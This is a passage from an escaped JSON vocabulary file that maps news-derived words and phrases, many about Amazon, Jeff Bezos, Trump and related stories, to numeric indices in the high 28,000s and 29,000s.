 \"opportunityzones\": 28810,\n  \"executive left\": 28811,\n  \"fires minutes\": 28812,\n  \"purchasable\": 28813,\n  \"summer pending\": 28814,\n  \"chancellor\": 28815,\n  \"media merger\": 28816,\n  \"fbiofficial having\": 28817,\n  \"absolutely\": 28818,\n  \"biggest retailer\": 28819,\n  \"individual pieces\": 28820,\n  \"413 million\": 28821,\n  \"s\\u00e1nchez news\": 28822,\n  \"shares canada\": 28823,\n  \"jail newsday\": 28824,\n  \"publish news\": 28825,\n  \"munificence\": 28826,\n  \"threaten\": 28827,\n  \"grant\": 28828,\n  \"corporate targets\": 28829,\n  \"accurate statement\": 28830,\n  \"injure\": 28831,\n  \"jonas valanciunas\": 28832,\n  \"rush\": 28833,\n  \"unanticipated\": 28834,\n  \"amazon princesses\": 28835,\n  \"couldn treat\": 28836,\n  \"7207 source\": 28837,\n  \"neck\": 28838,\n  \"utter tragedy\": 28839,\n  \"schiraldi hulu\": 28840,\n  \"formally opened\": 28841,\n  \"drivers amazon\": 28842,\n  \"microsoft founder\": 28843,\n  \"finance experts\": 28844,\n  \"pell convicted\": 28845,\n  \"story bringing\": 28846,\n  \"taken minor\": 28847,\n  \"wjlpcbis8u\": 28848,\n  \"luck bezos\": 28849,\n  \"harper neidig\": 28850,\n  \"smith recently\": 28851,\n  \"split second\": 28852,\n  \"aggressive business\": 28853,\n  \"market operations\": 28854,\n  \"entire community\": 28855,\n  \"safety crash\": 28856,\n  \"warren campaigns\": 28857,\n  \"aides politico\": 28858,\n  \"a4ee o8\": 28859,\n  \"petrol\": 28860,\n  \"cell transplant\": 28861,\n  \"company proves\": 28862,\n  \"cohen plea\": 28863,\n  \"longer leader\": 28864,\n  \"rca software\": 28865,\n  \"bezos techies\": 28866,\n  \"upcoming sessions\": 28867,\n  \"biggest banks\": 28868,\n  \"federal election\": 28869,\n  \"stocks dropped\": 28870,\n  \"lebeau nightly\": 28871,\n  \"going home\": 28872,\n  \"salisbury\": 28873,\n  \"regard whatsoever\": 28874,\n  \"mortgage department\": 28875,\n  \"provided beautiful\": 28876,\n  \"aplenty\": 28877,\n  \"amazon living\": 28878,\n  \"2017 totaled\": 28879,\n  \"says millions\": 28880,\n  \"brutality\": 28881,\n  \"sanders does\": 28882,\n  \"religious moralists\": 28883,\n  \"tongue elected\": 28884,\n  \"underlying reasons\": 28885,\n  \"fake listings\": 28886,\n  \"arriaga\": 28887,\n  \"proposals despite\": 28888,\n  \"briefly took\": 28889,\n  \"alabama tornadoes\": 28890,\n  \"assisted housing\": 28891,\n  \"prime act\": 28892,\n  \"security conference\": 28893,\n  \"evening sky\": 28894,\n  \"france italy\": 28895,\n  \"discuss inner\": 28896,\n  \"register sensors\": 28897,\n  \"imploding\": 28898,\n  \"sex joked\": 28899,\n  \"rep ocasio\": 28900,\n  \"america dsa\": 28901,\n  \"gabriela women\": 28902,\n  \"amazon man\": 28903,\n  \"author matthew\": 28904,\n  \"resurged\": 28905,\n  \"gmt polar\": 28906,\n  \"elections arizona\": 28907,\n  \"865 000\": 28908,\n  \"tissue mass\": 28909,\n  \"charts\": 28910,\n  \"judges memoir\": 28911,\n  \"giant leverages\": 28912,\n  \"cybersecurity initiatives\": 28913,\n  \"watch electric\": 28914,\n  \"tough general\": 28915,\n  \"pope cjr\": 28916,\n  \"want abramowitz\": 28917,\n  \"service thanks\": 28918,\n  \"news media\": 28919,\n  \"butterball\": 28920,\n  \"management succession\": 28921,\n  \"power schiff\": 28922,\n  \"harm rivals\": 28923,\n  \"scarborough smelled\": 28924,\n  \"michael michael\": 28925,\n  \"attorney\": 28926,\n  \"actions certainly\": 28927,\n  \"new type\": 28928,\n  \"recent movie\": 28929,\n  \"benefits accounted\": 28930,\n  \"idc\": 28931,\n  \"frank dvr\": 28932,\n  \"letter include\": 28933,\n  \"senate political\": 28934,\n  \"kube\": 28935,\n  \"divorce 101\": 28936,\n  \"helped usher\": 28937,\n  \"healthier 2019\": 28938,\n  \"commerce sales\": 28939,\n  \"year martin\": 28940,\n  \"time shaving\": 28941,\n  \"shiong\": 28942,\n  \"party operators\": 28943,\n  \"increasingly suspicious\": 28944,\n  \"daintily\": 28945,\n  \"new cnn\": 28946,\n  \"motivated bezos\": 28947,\n  \"173\": 28948,\n  \"keepfamiliestogether\": 28949,\n  \"amazon rare\": 28950,\n  \"lk9f2htpng\": 28951,\n  \"particular parts\": 28952,\n  \"unit head\": 28953,\n  \"voter fraud\": 28954,\n  \"policies present\": 28955,\n  \"match products\": 28956,\n  \"associate\": 28957,\n  \"need swing\": 28958,\n  \"fundamentally tangential\": 28959,\n  \"declared dead\": 28960,\n  \"equipment purchases\": 28961,\n  \"unexplored cave\": 28962,\n  \"meet wall\": 28963,\n  \"2011 combines\": 28964,\n  \"day rally\": 28965,\n  \"colbert book\": 28966,\n  \"laureate\": 28967,\n  \"hard amazon\": 28968,\n  \"crushing regulation\": 28969,\n  \"netflix shares\": 28970,\n  \"btig\": 28971,\n  \"city dwellers\": 28972,\n  \"requires\": 28973,\n  \"appearance usa\": 28974,\n  \"grazing\": 28975,\n  \"methods outfitting\": 28976,\n  \"household\": 28977,\n  \"starry night\": 28978,\n  \"included 2018\": 28979,\n  \"ovide\": 28980,\n  \"daily basis\": 28981,\n  \"crashed yesterday\": 28982,\n  \"potentially shape\": 28983,\n  \"campaign allegedly\": 28984,\n  \"airport construction\": 28985,\n  \"town mourns\": 28986,\n  \"violence\": 28987,\n  \"political reportage\": 28988,\n  \"ostensibly protect\": 28989,\n  \"ftc report\": 28990,\n  \"balzac\": 28991,\n  \"news topstories\": 28992,\n  \"civilian worker\": 28993,\n  \"face recession\": 28994,\n  \"terner mnuchin\": 28995,\n  \"sellers compete\": 28996,\n  \"spokesman matthew\": 28997,\n  \"facebook mission\": 28998,\n  \"nymag status\": 28999,\n  \"oligarch\": 29000,\n  \"thumbimagelargesource\": 29001,\n  \"audio record\": 29002,\n  \"carla\": 29003,\n  \"sure right\": 29004,\n  \"care knowing\": 29005,\n  \"benevolent association\": 29006,\n  \"biggest\": 29007,\n  \"hilary rosen\": 29008,\n  \"search directly\": 29009,\n  \"face virtually\": 29010,\n  \"shop local\": 29011,\n  \"withthese\": 29012,\n  \"sound business\": 29013,\n  \"earnings trade\": 29014,\n  \"hired colocation\": 29015,\n  \"treated conservative\": 29016,\n  \"laurels\": 29017,\n  \"mailing services\": 29018,\n  \"king cnn\": 29019,\n  \"playboy centerfold\": 29020,\n  \"video israel\": 29021,\n  \"singular talent\": 29022,\n  \"media fawning\": 29023,\n  \"special mojo\": 29024,\n  \"fizzled unexpectedly\": 29025,\n  \"potentially opening\": 29026,\n  \"amazon mothers\": 29027,\n  \"flatly\": 29028,\n  \"reuters file\": 29029,\n  \"report assault\": 29030,\n  \"corruption masquerading\": 29031,\n  \"rodrigues pozzebom\": 29032,\n  \"justice national\": 29033,\n  \"insignificant time\": 29034,\n  \"citizen outreach\": 29035,\n  \"amendment violations\": 29036,\n  \"rights organizations\": 29037,\n  \"era officials\": 29038,\n  \"expected fiscal\": 29039,\n  \"knowingly lied\": 29040,\n  \"zoo season\": 29041,\n  \"lean heavier\": 29042,\n  \"things play\": 29043,\n  \"clearance says\": 29044,\n  \"blaming amazon\": 29045,\n  \"thieves bolsonaro\": 29046,\n  \"newstoday usatoda\": 29047,\n  \"cushman\": 29048,\n  \"wasserstein\": 29049,\n  \"ratio\": 29050,\n  \"bi jabong\": 29051,\n  \"tentative bursts\": 29052,\n  \"sgn slashed\": 29053,\n  \"dig deeper\": 29054,\n  \"stockman tx\": 29055,\n  \"weather trump\": 29056,\n  \"printing machine\": 29057,\n  \"casey ashby\": 29058,\n  \"american amazon\": 29059,\n  \"ceo subsequently\": 29060,\n  \"black manager\": 29061,\n  \"regulated\": 29062,\n  \"traders register\": 29063,\n  \"story nick\": 29064,\n  \"marillyn hewson\": 29065,\n  \"sanchez leaked\": 29066,\n  \"standards trump\": 29067,\n  \"vision technology\": 29068,\n  \"force started\": 29069,\n  \"named nea\": 29070,\n  \"era covering\": 29071,\n  \"trump foreclosure\": 29072,\n  \"house committees\": 29073,\n  \"sank points\": 29074,\n  \"luckin plans\": 29075,\n  \"wasn authorised\": 29076,\n  \"producer newfield\": 29077,\n  \"alpha survey\": 29078,\n  \"post articles\": 29079,\n  \"kimball\": 29080,\n  \"users circulated\": 29081,\n  \"recently granted\": 29082,\n  \"dread\": 29083,\n  \"eurozone facebook\": 29084,\n  \"trott bdt\": 29085,\n  \"model looks\": 29086,\n  \"103\": 29087,\n  \"rating took\": 29088,\n  \"maintained gpa\": 29089,\n  \"boarding air\": 29090,\n  \"involved company\": 29091,\n  \"state observat\\u00f3rio\": 29092,\n  \"awaited word\": 29093,\n  \"stop net\": 29094,\n  \"decision rightly\": 29095,\n  \"jurassic park\": 29096,\n  \"simply nodded\": 29097,\n  \"bring people\": 29098,\n  \"cnl_custom_color 07017b\": 29099,\n  \"driving truck\": 29100,\n  \"common characteristics\": 29101,\n  \"amazon websites\": 29102,\n  \"federal lawmakers\": 29103,\n  \"experience washington\": 29104,\n  \"actively used\": 29105,\n  \"sales post\": 29106,\n  \"illinois washington\": 29107,\n  \"assets 181003173251\": 29108,\n  \"kinky game\": 29109,\n  \"guide silent\": 29110,\n  \"region ms\": 29111,\n  \"person tweeted\": 29112,\n  \"dominant legal\": 29113,\n  \"nytimes writes\": 29114,\n  \"published numerous\": 29115,\n  \"asking price\": 29116,\n  \"memo inside\": 29117,\n  \"ultimately good\": 29118,\n  \"amazon warehouse\": 29119,\n  \"shares bluefin\": 29120,\n  \"steel ford\": 29121,\n  \"streamline\": 29122,\n  \"democrat helped\": 29123,\n  \"living hell\": 29124,\n  \"supreme court\": 29125,\n  \"court tl\": 29126,\n  \"tapping assistance\": 29127,\n  \"trump shortly\": 29128,\n  \"responded need\": 29129,\n  \"false cnl_custom_article_footer\": 29130,\n  \"connecting\": 29131,\n  \"chinese exports\": 29132,\n  \"express service\": 29133,\n  \"feeling florence\": 29134,\n  \"hutchinson\": 29135,\n  \"ex goldman\": 29136,\n  \"special advisor\": 29137,\n  \"municipalities\": 29138,\n  \"poorer\": 29139,\n  \"software giant\": 29140,\n  \"repatriated foreign\": 29141,\n  \"transacting\": 29142,\n  \"country road\": 29143,\n  \"wagyu\": 29144,\n  \"monetary value\": 29145,\n  \"providing postal\": 29146,\n  \"british sun\": 29147,\n  \"released yelp\": 29148,\n  \"unbiblical\": 29149,\n  \"plus 000\": 29150,\n  \"boeing microsoft\": 29151,\n  \"site splinter\": 29152,\n  \"synergy\": 29153,\n  \"email organization\": 29154,\n  \"miles away\": 29155,\n  \"getty_1126502092_387831 jpg\": 29156,\n  \"dc2b\": 29157,\n  \"therapist\": 29158,\n  \"conning holds\": 29159,\n  \"john krasinski\": 29160,\n  \"lewinksy\": 29161,\n  \"3rd\": 29162,\n  \"climate ocasio\": 29163,\n  \"office hasn\": 29164,\n  \"private jet\": 29165,\n  \"saks\": 29166,\n  \"entrepreneursto\": 29167,\n  \"costumes started\": 29168,\n  \"bigger cost\": 29169,\n  \"important recent\": 29170,\n  \"gas leaks\": 29171,\n  \"inc_headline patagonia\": 29172,\n  \"account managers\": 29173,\n  \"hearing environment\": 29174,\n  \"communities amazon\": 29175,\n  \"liberal\": 29176,\n  \"forces exactly\": 29177,\n  \"quite hit\": 29178,\n  \"chalking\": 29179,\n  \"computing giant\": 29180,\n  \"bloomberg estimated\": 29181,\n  \"democratic control\": 29182,\n  \"visa falling\": 29183,\n  \"turner word\": 29184,\n  \"spending amid\": 29185,\n  \"bezos facing\": 29186,\n  \"griffin talks\": 29187,\n  \"charitable plans\": 29188,\n  \"gentleman union\": 29189,\n  \"interrogations trump\": 29190,\n  \"times told\": 29191,\n  \"law profile\": 29192,\n  \"clearly read\": 29193,\n  \"mukesh ambani\": 29194,\n  \"growth number\": 29195,\n  \"squid brains\": 29196,\n  \"couldn access\": 29197,\n  \"revise\": 29198,\n  \"money website\": 29199,\n  \"cutting checks\": 29200,\n  \"owners second\": 29201,\n  \"billion total\": 29202,\n  \"gantry state\": 29203,\n  \"selected chosen\": 29204,\n  \"court battle\": 29205,\n  \"mnuchin think\": 29206,\n  \"refrained\": 29207,\n  \"democrats strong\": 29208,\n  \"molly\": 29209,\n  \"j4\": 29210,\n  \"dastardly\": 29211,\n  \"future minister\": 29212,\n  \"fondle little\": 29213,\n  \"responsiveimage true\": 29214,\n  \"lentol new\": 29215,\n  \"religious intolerance\": 29216,\n  \"category customer\": 29217,\n  \"today editorial\": 29218,\n  \"reduction\": 29219,\n  \"nasdaq 2018\": 29220,\n  \"emotions govern\": 29221,\n  \"volcovici\": 29222,\n  \"collects\": 29223,\n  \"osun\": 29224,\n  \"cortez embedded\": 29225,\n  \"jobs email\": 29226,\n  \"playerinstance try\": 29227,\n  \"provide pretext\": 29228,\n  \"executive praised\": 29229,\n  \"governmental malpractice\": 29230,\n  \"brown advisory\": 29231,\n  \"called sleazy\": 29232,\n  \"cssrules\": 29233,\n  \"harsher message\": 29234,\n  \"media center\": 29235,\n  \"lists coupled\": 29236,\n  \"starting wages\": 29237,\n  \"months don\": 29238,\n  \"myst\": 29239,\n  \"know talk\": 29240,\n  \"nashua planning\": 29241,\n  \"individual temperament\": 29242,\n  \"news following\": 29243,\n  \"called snapdragon\": 29244,\n  \"socio economic\": 29245,\n  \"qanon adherent\": 29246,\n  \"irish tax\": 29247,\n  \"biggest company\": 29248,\n  \"records according\": 29249,\n  \"undeniable winners\": 29250,\n  \"jquery carousel__content__item\": 29251,\n  \"avalaras ipo\": 29252,\n  \"bass pro\": 29253,\n  \"uber investor\": 29254,\n  \"garage sale\": 29255,\n  \"history focusing\": 29256,\n  \"water maj\": 29257,\n  \"university stern\": 29258,\n  \"fds vug\": 29259,\n  \"paying plenty\": 29260,\n  \"clashed\": 29261,\n  \"utility chopra\": 29262,\n  \"allknow\": 29263,\n  \"humorous answers\": 29264,\n  \"bright star\": 29265,\n  \"workman\": 29266,\n  \"blasts scores\": 29267,\n  \"year gone\": 29268,\n  \"streaming app\": 29269,\n  \"department read\": 29270,\n  \"president anti\": 29271,\n  \"architect bjarke\": 29272,\n  \"company amid\": 29273,\n  \"image wikimedia\": 29274,\n  \"everyday\": 29275,\n  \"rigged political\": 29276,\n  \"want amazon\": 29277,\n  \"stephanie yao\": 29278,\n  \"geekwire elevator\": 29279,\n  \"lifestraw\": 29280,\n  \"massive fallible\": 29281,\n  \"include math\": 29282,\n  \"shooting trump\": 29283,\n  \"donations \\u0142111million\": 29284,\n  \"punted\": 29285,\n  \"shares ishares\": 29286,\n  \"sprawling tribe\": 29287,\n  \"following trend\": 29288,\n  \"writes garner\": 29289,\n  \"congressional authority\": 29290,\n  \"told cnnmoney\": 29291,\n  \"jacket\": 29292,\n  \"logistics 2768443\": 29293,\n  \"want delivered\": 29294,\n  \"steel railroads\": 29295,\n  \"gonzales\": 29296,\n  \"var t9x\": 29297,\n  \"famous trump\": 29298,\n  \"thinks survivor\": 29299,\n  \"similar issues\": 29300,\n  \"triggered hb40\": 29301,\n  \"reported 642\": 29302,\n  \"billion growth\": 29303,\n  \"american indians\": 29304,\n  \"rights alexis\": 29305,\n  \"paper clips\": 29306,\n  \"government benefits\": 29307,\n  \"vice journalists\": 29308,\n  \"oprah michelle\": 29309,\n  \"chips provided\": 29310,\n  \"banana\": 29311,\n  \"bezos behemoth\": 29312,\n  \"standard insider\": 29313,\n  \"wsjournal\": 29314,\n  \"internal strife\": 29315,\n  \"littering updates\": 29316,\n  \"absolutely solidifies\": 29317,\n  \"comment govpredict\": 29318,\n  \"approving postal\": 29319,\n  \"best historic\": 29320,\n  \"portable morgue\": 29321,\n  \"meal deliveries\": 29322,\n  \"voice teller\": 29323,\n  \"startling headlines\": 29324,\n  \"policy institute\": 29325,\n  \"taxes paid\": 29326,\n  \"communities feel\": 29327,\n  \"style 320\": 29328,\n  \"regulation revocation\": 29329,\n  \"ulee gold\": 29330,\n  \"story develops\": 29331,\n  \"preface\": 29332,\n  \"acco\": 29333,\n  \"international waters\": 29334,\n  \"president trying\": 29335,\n  \"potential advantage\": 29336,\n  \"chinese professionals\": 29337,\n  \"jungle available\": 29338,\n  \"men steve\": 29339,\n  \"central florida\": 29340,\n  \"fbi acting\": 29341,\n  \"company uber\": 29342,\n  \"taking dominant\": 29343,\n  \"loses\": 29344,\n  \"notorious gun\": 29345,\n  \"shop according\": 29346,\n  \"aesthetic design\": 29347,\n  \"2017 unable\": 29348,\n  \"coordinated support\": 29349,\n  \"commission trump\": 29350,\n  \"extortion claiming\": 29351,\n  \"facebooktwittergoogle\": 29352,\n  \"sweetheart delivery\": 29353,\n  \"protection issues\": 29354,\n  \"businessman trump\": 29355,\n  \"mayer\": 29356,\n  \"changes hollywood\": 29357,\n  \"built wardrobe\": 29358,\n  \"reflect political\": 29359,\n  \"real measure\": 29360,\n  \"cities\": 29361,\n  \"bezos allegedly\": 29362,\n  \"celebrities attracted\": 29363,\n  \"trumpcrimefamily saveourfuture\": 29364,\n  \"staff mick\": 29365,\n  \"master degree\": 29366,\n  \"outsourced\": 29367,\n  \"breakingviews reuters\": 29368,\n  \"disdainfully\": 29369,\n  \"high performing\": 29370,\n  \"women suffrage\": 29371,\n  \"elks club\": 29372,\n  \"finances including\": 29373,\n  \"subsidies tax\": 29374,\n  \"boss heartwarming\": 29375,\n  \"attuned suspense\": 29376,\n  \"progresses amazon\": 29377,\n  \"iwas moving\": 29378,\n  \"finland france\": 29379,\n  \"personal essay\": 29380,\n  \"author latest\": 29381,\n  \"collections\": 29382,\n  \"congressman great\": 29383,\n  \"mitigate losses\": 29384,\n  \"marrero driver\": 29385,\n  \"day search\": 29386,\n  \"orleans\": 29387,\n  \"wasn immediately\": 29388,\n  \"crc executive\": 29389,\n  \"garofolo couple\": 29390,\n  \"meaningful acquisitions\": 29391,\n  \"christopher eccleston\": 29392,\n  \"public despite\": 29393,\n  \"tax administration\": 29394,\n  \"joem\": 29395,\n  \"cujo lewis\": 29396,\n  \"ap industrial\": 29397,\n  \"bulletproof\": 29398,\n  \"mega caps\": 29399,\n  \"inadvisable apartments\": 29400,\n  \"exchanged praise\": 29401,\n  \"cusp\": 29402,\n  \"wing provocateurs\": 29403,\n  \"editions sign\": 29404,\n  \"8pm london\": 29405,\n  \"shopping day\": 29406,\n  \"dylan howard\": 29407,\n  \"552 shares\": 29408,\n  \"park south\": 29409,\n  \"amazon west\": 29410,\n  \"chinese operatives\": 29411,\n  \"arrival gov\": 29412,\n  \"news product\": 29413,\n  \"9th 2016\": 29414,\n  \"cola says\": 29415,\n  \"optioned\": 29416,\n  \"handling commerce\": 29417,\n  \"elizabeth pring\": 29418,\n  \"nationalist propaganda\": 29419,\n  \"sleaziest\": 29420,\n  \"people original\": 29421,\n  \"talk luke\": 29422,\n  \"tricked tycoon\": 29423,\n  \"ends abruptly\": 29424,\n  \"teasers\": 29425,\n  \"different logistics\": 29426,\n  \"munster widely\": 29427,\n  \"campaign targeting\": 29428,\n  \"supports mail\": 29429,\n  \"financial risk\": 29430,\n  \"renting computing\": 29431,\n  \"khan joined\": 29432,\n  \"campaign communications\": 29433,\n  \"jobs website\": 29434,\n  \"deal news\": 29435,\n  \"consuming company\": 29436,\n  \"says william\": 29437,\n  \"ripping\": 29438,\n  \"unqualified\": 29439,\n  \"howard writes\": 29440,\n  \"seize power\": 29441,\n  \"revealed ami\": 29442,\n  \"delayed ossenbeck\": 29443,\n  \"fact check\": 29444,\n  \"presidential predecessor\": 29445,\n  \"donald trumps\": 29446,\n  \"finance stories\": 29447,\n  \"platforms program\": 29448,\n  \"2017 cliff\": 29449,\n  \"giant retailer\": 29450,\n  \"growth driver\": 29451,\n  \"service ahead\": 29452,\n  \"telling chart\": 29453,\n  \"ebram\": 29454,\n  \"trump woke\": 29455,\n  \"woo big\": 29456,\n  \"obvious\": 29457,\n  \"chequers\": 29458,\n  \"voice order\": 29459,\n  \"128gb internal\": 29460,\n  \"loophole imaginable\": 29461,\n  \"make public\": 29462,\n  \"including business\": 29463,\n  \"cosby son\": 29464,\n  \"2018 vince\": 29465,\n  \"reportedly referred\": 29466,\n  \"services discussed\": 29467,\n  \"congress acts\": 29468,\n  \"reported lewandowski\": 29469,\n  \"maintained close\": 29470,\n  \"healthful lifestyle\": 29471,\n  \"chunying chinese\": 29472,\n  \"wasn completely\": 29473,\n  \"stiletto\": 29474,\n  \"page continued\": 29475,\n  \"department zinke\": 29476,\n  \"mental problems\": 29477,\n  \"largest private\": 29478,\n  \"rosy 2018\": 29479,\n  \"cnn wolf\": 29480,\n  \"healthy amazon\": 29481,\n  \"essentially stopped\": 29482,\n  \"house bringing\": 29483,\n  \"diary digitizing\": 29484,\n  \"broadcast news\": 29485,\n  \"officer ami\": 29486,\n  \"eftist forces\": 29487,\n  \"douglas alan\": 29488,\n  \"want everybody\": 29489,\n  \"fork utah\": 29490,\n  \"home furnishing\": 29491,\n  \"klosters\": 29492,\n  \"land dedicated\": 29493,\n  \"increases reflect\": 29494,\n  \"willem dafoe\": 29495,\n  \"uch\": 29496,\n  \"stressed\": 29497,\n  \"wh power\": 29498,\n  \"company ethic\": 29499,\n  \"world rupert\": 29500,\n  \"2018 survivor\": 29501,\n  \"time friend\": 29502,\n  \"party intermediaries\": 29503,\n  \"james knight\": 29504,\n  \"investigators looked\": 29505,\n  \"critics credit\": 29506,\n  \"change perceptions\": 29507,\n  \"faang tastic\": 29508,\n  \"cycles\": 29509,\n  \"exped\": 29510,\n  \"wal\": 29511,\n  \"declared president\": 29512,\n  \"opinion sides\": 29513,\n  \"black male\": 29514,\n  \"key client\": 29515,\n  \"andyou\": 29516,\n  \"566 million\": 29517,\n  \"americans live\": 29518,\n  \"cases lead\": 29519,\n  \"rules pdf\": 29520,\n  \"giving diplomacy\": 29521,\n  \"old technology\": 29522,\n  \"regions view\": 29523,\n  \"true videopinner\": 29524,\n  \"emissions university\": 29525,\n  \"global child\": 29526,\n  \"georgiev\": 29527,\n  \"media purge\": 29528,\n  \"essentially wants\": 29529,\n  \"increases pressure\": 29530,\n  \"night lone\": 29531,\n  \"concept dates\": 29532,\n  \"millennials ages\": 29533,\n  \"divorce compared\": 29534,\n  \"huber ryanhuber\": 29535,\n  \"ny based\": 29536,\n  \"routinely selects\": 29537,\n  \"request amazon\": 29538,\n  \"value amazon\": 29539,\n  \"2017 cannes\": 29540,\n  \"scholar robert\": 29541,\n  \"ward hamilton\": 29542,\n  \"stanley data\": 29543,\n  \"books\": 29544,\n  \"expects dec\": 29545,\n  \"bezos joint\": 29546,\n  \"abruptly cut\": 29547,\n  \"mooney\": 29548,\n  \"melinda boesken\": 29549,\n  \"surreptitious collection\": 29550,\n  \"control pad\": 29551,\n  \"trump constantly\": 29552,\n  \"wxyz\": 29553,\n  \"banning insider\": 29554,\n  \"calif electronics\": 29555,\n  \"totalitarian rule\": 29556,\n  \"new drc\": 29557,\n  \"greed series\": 29558,\n  \"questioning\": 29559,\n  \"clouds\": 29560,\n  \"president nicolas\": 29561,\n  \"774\": 29562,\n  \"story tilray\": 29563,\n  \"region mccain\": 29564,\n  \"political bickering\": 29565,\n  \"company nearly\": 29566,\n  \"auctions\": 29567,\n  \"lc\": 29568,\n  \"nontraditional carriers\": 29569,\n  \"guys final\": 29570,\n  \"nation economy\": 29571,\n  \"trey gowdy\": 29572,\n  \"computing surveillance\": 29573,\n  \"killer fires\": 29574,\n  \"ge stock\": 29575,\n  \"2018 mac\": 29576,\n  \"enabled meaning\": 29577,\n  \"days regularly\": 29578,\n  \"add value\": 29579,\n  \"death morality\": 29580,\n  \"missing american\": 29581,\n  \"enquirer panicked\": 29582,\n  \"handmaid tale\": 29583,\n  \"download latest\": 29584,\n  \"outside help\": 29585,\n  \"melamed antitrust\": 29586,\n  \"huffpo\": 29587,\n  \"sourcefacebook\": 29588,\n  \"disenfranchisement\": 29589,\n  \"usps edward\": 29590,\n  \"presidential way\": 29591,\n  \"insensitive company\": 29592,\n  \"small enhancements\": 29593,\n  \"warns\": 29594,\n  \"adroitly\": 29595,\n  \"cartel drug\": 29596,\n  \"cell treatment\": 29597,\n  \"money politifact\": 29598,\n  \"questioned michael\": 29599,\n  \"elaborating noted\": 29600,\n  \"strip mall\": 29601,\n  \"frontline fbi\": 29602,\n  \"nasty pullback\": 29603,\n  \"hud secretary\": 29604,\n  \"foto sourcewikipedia\": 29605,\n  \"peak season\": 29606,\n  \"wryly\": 29607,\n  \"fight counterfeit\": 29608,\n  \"review did\": 29609,\n  \"nyc firm\": 29610,\n  \"organization amazon\": 29611,\n  \"history art\": 29612,\n  \"having field\": 29613,\n  \"extra gumball\": 29614,\n  \"intensifying conflict\": 29615,\n  \"braver\": 29616,\n  \"hershey\": 29617,\n  \"online information\": 29618,\n  \"biggest financial\": 29619,\n  \"kavanaugh effort\": 29620,\n  \"interesting point\": 29621,\n  \"adtech\": 29622,\n  \"good job\": 29623,\n  \"include unitedhealth\": 29624,\n  \"fiscal\": 29625,\n  \"100 times\": 29626,\n  \"joining federal\": 29627,\n  \"announces plans\": 29628,\n  \"county white\": 29629,\n  \"autostart cnn\": 29630,\n  \"seal\": 29631,\n  \"nazi merchandise\": 29632,\n  \"jordan lebanon\": 29633,\n  \"instruct secretary\": 29634,\n  \"embarrassing material\": 29635,\n  \"opportunity nasdaq\": 29636,\n  \"unregistered\": 29637,\n  \"won recapture\": 29638,\n  \"certain amazon\": 29639,\n  \"american journey\": 29640,\n  \"bezos political\": 29641,\n  \"gerrymandering\": 29642,\n  \"civilians business\": 29643,\n  \"old tv\": 29644,\n  \"2018 wtr\": 29645,\n  \"alleged conflicts\": 29646,\n  \"mockingbird\": 29647,\n  \"10000 reimbursements\": 29648,\n  \"special early\": 29649,\n  \"sharemylesson\": 29650,\n  \"fusco president\": 29651,\n  \"fiction ballantine\": 29652,\n  \"discontinue\": 29653,\n  \"incentivise shoppers\": 29654,\n  \"watchers believe\": 29655,\n  \"cited new\": 29656,\n  \"ongoing divorce\": 29657,\n  \"famotidine\": 29658,\n  \"acting fairly\": 29659,\n  \"ceiling beams\": 29660,\n  \"children jeff\": 29661,\n  \"cheated\": 29662,\n  \"changed dramatically\": 29663,\n  \"council decision\": 29664,\n  \"representation thanks\": 29665,\n  \"aesthetic\": 29666,\n  \"gradually clearing\": 29667,\n  \"abramson facing\": 29668,\n  \"gossip websites\": 29669,\n  \"bykowicz\": 29670,\n  \"460k reports\": 29671,\n  \"olivianuzzi\": 29672,\n  \"splc opposes\": 29673,\n  \"investing heavily\": 29674,\n  \"rhys philip\": 29675,\n  \"innovation shared\": 29676,\n  \"competition practice\": 29677,\n  \"role hit\": 29678,\n  \"informed decisions\": 29679,\n  \"drezner\": 29680,\n  \"schumer sent\": 29681,\n  \"facebook post\": 29682,\n  \"public figure\": 29683,\n  \"worsened\": 29684,\n  \"michael keoshkerian\": 29685,\n  \"vote cast\": 29686,\n  \"requirements related\": 29687,\n  \"concrete measure\": 29688,\n  \"great conde\": 29689,\n  \"remains true\": 29690,\n  \"deforestation continues\": 29691,\n  \"policies prohibit\": 29692,\n  \"netflix nflx\": 29693,\n  \"states openly\": 29694,\n  \"usps cost\": 29695,\n  \"rents pdf\": 29696,\n  \"special anniversary\": 29697,\n  \"represents list\": 29698,\n  \"company including\": 29699,\n  \"internally khosrowshahi\": 29700,\n  \"5826 bought\": 29701,\n  \"community group\": 29702,\n  \"adequate access\": 29703,\n  \"staff pecker\": 29704,\n  \"measure glad\": 29705,\n  \"reuters washington\": 29706,\n  \"speaker told\": 29707,\n  \"cocaine\": 29708,\n  \"bank equities\": 29709,\n  \"defied expectations\": 29710,\n  \"book picks\": 29711,\n  \"foods tiny\": 29712,\n  \"cloudfront\": 29713,\n  \"anne communicated\": 29714,\n  \"rev\": 29715,\n  \"hats designed\": 29716,\n  \"backed private\": 29717,\n  \"unheralded gem\": 29718,\n  \"big prime\": 29719,\n  \"package customers\": 29720,\n  \"toxic brew\": 29721,\n  \"summit minutes\": 29722,\n  \"networking firm\": 29723,\n  \"bezos american\": 29724,\n  \"dam project\": 29725,\n  \"rentier class\": 29726,\n  \"makes bezos\": 29727,\n  \"talent saying\": 29728,\n  \"numerous headlines\": 29729,\n  \"cambridge university\": 29730,\n  \"election 2020\": 29731,\n  \"social equity\": 29732,\n  \"chuck yarborough\": 29733,\n  \"galloway amazon\": 29734,\n  \"amazon miracle\": 29735,\n  \"comey higher\": 29736,\n  \"presidential mansion\": 29737,\n  \"testy\": 29738,\n  \"democrats respectively\": 29739,\n  \"biography email\": 29740,\n  \"dicriscio richdicriscio\": 29741,\n  \"enable javascript\": 29742,\n  \"expired\": 29743,\n  \"bezos accepts\": 29744,\n  \"moderate democrats\": 29745,\n  \"observer volkswagen\": 29746,\n  \"usps price\": 29747,\n  \"source oceania\": 29748,\n  \"valuation sum\": 29749,\n  \"21bn\": 29750,\n  \"weeks following\": 29751,\n  \"boarding private\": 29752,\n  \"usps posted\": 29753,\n  \"possessed sexually\": 29754,\n  \"uss john\": 29755,\n  \"play tech\": 29756,\n  \"semiannual\": 29757,\n  \"higher foreign\": 29758,\n  \"miller share\": 29759,\n  \"487\": 29760,\n  \"tech essentials\": 29761,\n  \"analysis engine\": 29762,\n  \"google run\": 29763,\n  \"huge retailer\": 29764,\n  \"taken away\": 29765,\n  \"year vuelta\": 29766,\n  \"powerful technology\": 29767,\n  \"religious organization\": 29768,\n  \"slimmer trimmer\": 29769,\n  \"argument steven\": 29770,\n  \"lake ontario\": 29771,\n  \"biden doing\": 29772,\n  \"outside committees\": 29773,\n  \"uk news\": 29774,\n  \"recycled\": 29775,\n  \"bezos bozo\": 29776,\n  \"civic innovation\": 29777,\n  \"company unveiled\": 